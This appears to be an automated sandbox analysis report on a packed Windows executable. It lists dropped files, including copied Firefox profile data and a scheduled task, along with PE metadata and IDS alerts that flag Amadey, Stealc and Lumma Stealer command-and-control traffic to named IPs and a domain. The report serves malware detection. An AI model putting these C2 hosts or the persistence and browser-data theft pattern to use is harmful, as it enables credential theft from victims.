Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1732249756);..user_pref("app.update.lastUpdateTime.background-update-timer", 1732249756);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1732249756);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 169633

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	13245
Entropy (8bit):	5.49459915383748
Encrypted:	false
SSDEEP:	192:2naRtLYbBp6ghj4qyaaXj6KjxNE85RfGNBw8dsSl:zeyq5w7hcwX0
MD5:	968E28EDFB494BE789C6E1A8129A2AD1
SHA1:	8619D1CBD5A1245401D349362413D562E729D826
SHA-256:	4E8CC7BE0599EA7B963F669D5A735CB2444818010581B38F0F6D49C3D4B4CAD6
SHA-512:	31469B61514D1108D98577399A827164C75CD39E252E775682D6C8D17580BAE5FD46315E5025CFA74EC11E1B4FD48C6331691D5DFCA36588FA978D3FABF44AAE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1732249756);..user_pref("app.update.lastUpdateTime.background-update-timer", 1732249756);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1732249756);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 169633

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.baklz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	6.396761121124673
Encrypted:	false
SSDEEP:	48:epiI6zXSfirWAqMU4NIALdOPnuDWL/GLvTUk:drSfirzpU4OGcuSr0Qk
MD5:	C950C5E139EF6403237A95989A611CC8
SHA1:	9EB71CE61BAB4EF57C2CD5B22AB30A462EAE7CD2
SHA-256:	ED89B15DD89CDD6EF7D5BEA413D57F43AD2AD59717F9C9ADA4C414024AF4F27C
SHA-512:	6096594E134D30AF999EA09FE6F9DDCCB7E2E29196F6FFF438353A9D9748736662769860A6874BB003201CB76096DE85DE7FD7ABA29225D702C99BD4F812210A
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1732249734251,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":4,"docshellUU...!"{4928f5ff-b473-439a-b63d-349ac3523a33}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{c0c3c76c-3c3b-44b0-9d2c-f5a4aaf1d46e}\"}....hasUserInteractW........@{\"3...E...docIdentifier":5,"persist":true)...696333857659).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2167541758....dth":1164,"height":891,"screenXN.....Y..Aizem0.."maximized"...BeforeMin...&..workspace....85d88aad-e69b-4cbc-bd94-0aee6b4b5d51...._shouldRb....","..)At...6.........I..W...6..O........p....1":{R.hUpdate\..784,"startTim.. 59j..recentCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..A8bad2467092

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	6.396761121124673
Encrypted:	false
SSDEEP:	48:epiI6zXSfirWAqMU4NIALdOPnuDWL/GLvTUk:drSfirzpU4OGcuSr0Qk
MD5:	C950C5E139EF6403237A95989A611CC8
SHA1:	9EB71CE61BAB4EF57C2CD5B22AB30A462EAE7CD2
SHA-256:	ED89B15DD89CDD6EF7D5BEA413D57F43AD2AD59717F9C9ADA4C414024AF4F27C
SHA-512:	6096594E134D30AF999EA09FE6F9DDCCB7E2E29196F6FFF438353A9D9748736662769860A6874BB003201CB76096DE85DE7FD7ABA29225D702C99BD4F812210A
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1732249734251,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":4,"docshellUU...!"{4928f5ff-b473-439a-b63d-349ac3523a33}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{c0c3c76c-3c3b-44b0-9d2c-f5a4aaf1d46e}\"}....hasUserInteractW........@{\"3...E...docIdentifier":5,"persist":true)...696333857659).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2167541758....dth":1164,"height":891,"screenXN.....Y..Aizem0.."maximized"...BeforeMin...&..workspace....85d88aad-e69b-4cbc-bd94-0aee6b4b5d51...._shouldRb....","..)At...6.........I..W...6..O........p....1":{R.hUpdate\..784,"startTim.. 59j..recentCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..A8bad2467092

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	6.396761121124673
Encrypted:	false
SSDEEP:	48:epiI6zXSfirWAqMU4NIALdOPnuDWL/GLvTUk:drSfirzpU4OGcuSr0Qk
MD5:	C950C5E139EF6403237A95989A611CC8
SHA1:	9EB71CE61BAB4EF57C2CD5B22AB30A462EAE7CD2
SHA-256:	ED89B15DD89CDD6EF7D5BEA413D57F43AD2AD59717F9C9ADA4C414024AF4F27C
SHA-512:	6096594E134D30AF999EA09FE6F9DDCCB7E2E29196F6FFF438353A9D9748736662769860A6874BB003201CB76096DE85DE7FD7ABA29225D702C99BD4F812210A
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1732249734251,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":4,"docshellUU...!"{4928f5ff-b473-439a-b63d-349ac3523a33}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{c0c3c76c-3c3b-44b0-9d2c-f5a4aaf1d46e}\"}....hasUserInteractW........@{\"3...E...docIdentifier":5,"persist":true)...696333857659).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2167541758....dth":1164,"height":891,"screenXN.....Y..Aizem0.."maximized"...BeforeMin...&..workspace....85d88aad-e69b-4cbc-bd94-0aee6b4b5d51...._shouldRb....","..)At...6.........I..W...6..O........p....1":{R.hUpdate\..784,"startTim.. 59j..recentCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..A8bad2467092

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.032527658703758
Encrypted:	false
SSDEEP:	48:YrSAYz6UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5FtsfbcbyJW:yczyTEr5QFRzzcMvbw6KkCrmc2Rn27
MD5:	C9185DA3FB31F1D6DFD1403345824150
SHA1:	C5ADB9FB70CEA1453C45C7485FC3D2EBA9FC3050
SHA-256:	14E9421FF5B958E33EADDD0B5866DD4BA3016DAC5A2E90506A906C96C9E8DF2D
SHA-512:	7CA359C92F116ABCD06DA0507899C7772547676974B8C19DE40BBCC90A6944CD30CDBEF15FF75B016CC2C276DE4CE521CD15650D7B5377BCDDE2B225558D566A
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-22T04:29:20.308Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.032527658703758
Encrypted:	false
SSDEEP:	48:YrSAYz6UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5FtsfbcbyJW:yczyTEr5QFRzzcMvbw6KkCrmc2Rn27
MD5:	C9185DA3FB31F1D6DFD1403345824150
SHA1:	C5ADB9FB70CEA1453C45C7485FC3D2EBA9FC3050
SHA-256:	14E9421FF5B958E33EADDD0B5866DD4BA3016DAC5A2E90506A906C96C9E8DF2D
SHA-512:	7CA359C92F116ABCD06DA0507899C7772547676974B8C19DE40BBCC90A6944CD30CDBEF15FF75B016CC2C276DE4CE521CD15650D7B5377BCDDE2B225558D566A
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-22T04:29:20.308Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.408301034472068
Encrypted:	false
SSDEEP:	6:DeTgoVXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBwcct0:CEoRf2RKQ1CGAFAjzvYRQVBwtt0
MD5:	03150B31A26569A7E651E4C246EFD39A
SHA1:	603FA91F1368B0FA8024C7E1179C32BF7AA11F59
SHA-256:	4EFF3A52D066E7949B5D0BCC4DA6FA8ED06DB6A891B5CD43842DF7359A18A5D3
SHA-512:	A76EDAEA9C124452E6E0C31BF20F2E6C83A6605FE717AC2FDAA562BF9A267B4DD92978AFEDB82C8469DD1AA482B4D1A4347EB6CD65BD6E04F77ED074B748074C
Malicious:	false
Preview:	....];.]..1H.P>Dt...F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465492954387563
Encrypted:	false
SSDEEP:	6144:uIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNxdwBCswSbP:jXD94+WlLZMM6YFHj+P
MD5:	837A82C51F1D47BD75408C2C25AD3753
SHA1:	4E3149E9B2D6D9F69AC6D79DE1AB7DFB25815B0A
SHA-256:	3B00CB35C03F1ED636B65E0C7779A4BD7769D355955D22124B5ED65C96C4B85F
SHA-512:	BE232E0537996B47F1C8B710E506EDC00B0623FE9D0516E51B207AB841BAC201B03201F1D3549CD98F50976FA30D5B83B0F52258693459BB6E2AC3132EEB7E21
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...m.<..............................................................................................................................................................................................................................................................................................................................................4..Y........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948924565178596
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'888'256 bytes
MD5:	60f886c3617266309ac54c0775b86a1e
SHA1:	41f813ff0d3455bd4edc34770c6b96066a35ad8c
SHA256:	ff7b32c4800fb94bfd1cd6b2380b85009a9655a4f7018d117e3285f9d5b2986f
SHA512:	658b6db64dc96a1212fec4bda02beaeb0a41a29c5fb89a854a15999ba0e632754a9fa5ab647084dec78b6d757318d6a7917c19e7e3ef1cc66789d02e6bf4e097
SSDEEP:	49152:bqzY90Y24zHWuK0C7RmyKQ1LpxWST1EUtdIrXd4BjjI:OqCUC7Rv7sSWUnIrtmfI
TLSH:	5D95339E6952BC5FE97B0234479D01CC8D78DF0B11A782FCF9B6A5792188B2716B03B1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8ac000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4B20D7484Ah
stmxcsr dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F4B20D76845h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [00000001h], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jnle 00007F4B20D747C2h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [edx], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4aa09c	0x10	shrhbpjb
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4aa04c	0x18	shrhbpjb
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	dbe8554207c66901645f985ea45ce069	False	0.9980096219346049	data	7.980899861385072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x600	23f61aeefa7c3d30c07a21aa8f45e969	False	0.3053385416666667	data	5.28505835027857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a4000	0x200	67f7a7d87d25b4f4a30a3cc7f86532b9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
shrhbpjb	0x30f000	0x19c000	0x19b200	8880eaea0946aa3ff344842fe79be467	False	0.9945159290437823	data	7.952958401054796	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wqpnrtad	0x4ab000	0x1000	0x400	72fd2be01609dcaa7aa00d1af132283d	False	0.8115234375	data	6.368737035646221	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4ac000	0x3000	0x2200	ca7aacf03dc5e2d29b844cd409e1e1e7	False	0.06755514705882353	DOS executable (COM)	0.7694729633658424	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x692c8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-22T04:12:04.928729+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49748	185.215.113.43	80	TCP
2024-11-22T04:12:09.531707+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	31.41.244.11	80	TCP
2024-11-22T04:12:23.226285+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49754	TCP
2024-11-22T04:12:24.618629+0100	2044623	ET MALWARE Amadey Bot Activity (POST)	1	192.168.2.4	49794	185.215.113.43	80	TCP
2024-11-22T04:12:26.138232+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49798	185.215.113.16	80	TCP
2024-11-22T04:12:31.975472+0100	2057730	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)	1	192.168.2.4	58880	1.1.1.1	53	UDP
2024-11-22T04:12:33.334257+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49813	185.215.113.43	80	TCP
2024-11-22T04:12:33.716416+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49818	172.67.155.248	443	TCP
2024-11-22T04:12:33.716416+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49818	172.67.155.248	443	TCP
2024-11-22T04:12:34.744443+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49818	172.67.155.248	443	TCP
2024-11-22T04:12:34.744443+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49818	172.67.155.248	443	TCP
2024-11-22T04:12:34.852307+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49819	185.215.113.16	80	TCP
2024-11-22T04:12:35.947384+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49825	172.67.155.248	443	TCP
2024-11-22T04:12:35.947384+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49825	172.67.155.248	443	TCP
2024-11-22T04:12:41.922996+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49837	185.215.113.43	80	TCP
2024-11-22T04:12:42.409959+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49835	185.215.113.206	80	TCP
2024-11-22T04:12:42.858818+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49835	185.215.113.206	80	TCP
2024-11-22T04:12:42.979477+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49835	TCP
2024-11-22T04:12:43.308544+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49835	185.215.113.206	80	TCP
2024-11-22T04:12:43.431967+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49842	185.215.113.16	80	TCP
2024-11-22T04:12:43.439462+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49835	TCP
2024-11-22T04:12:44.749948+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49835	185.215.113.206	80	TCP
2024-11-22T04:12:45.196196+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49835	185.215.113.206	80	TCP
2024-11-22T04:12:49.387529+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49856	185.215.113.43	80	TCP
2024-11-22T04:12:51.086990+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49867	185.215.113.16	80	TCP
2024-11-22T04:12:51.419691+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49872	172.67.155.248	443	TCP
2024-11-22T04:12:51.419691+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49872	172.67.155.248	443	TCP
2024-11-22T04:12:52.279185+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49872	172.67.155.248	443	TCP
2024-11-22T04:12:52.279185+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49872	172.67.155.248	443	TCP
2024-11-22T04:12:53.949638+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.4	49883	172.67.155.248	443	TCP
2024-11-22T04:12:53.949638+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49883	172.67.155.248	443	TCP
2024-11-22T04:12:54.688432+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49883	172.67.155.248	443	TCP
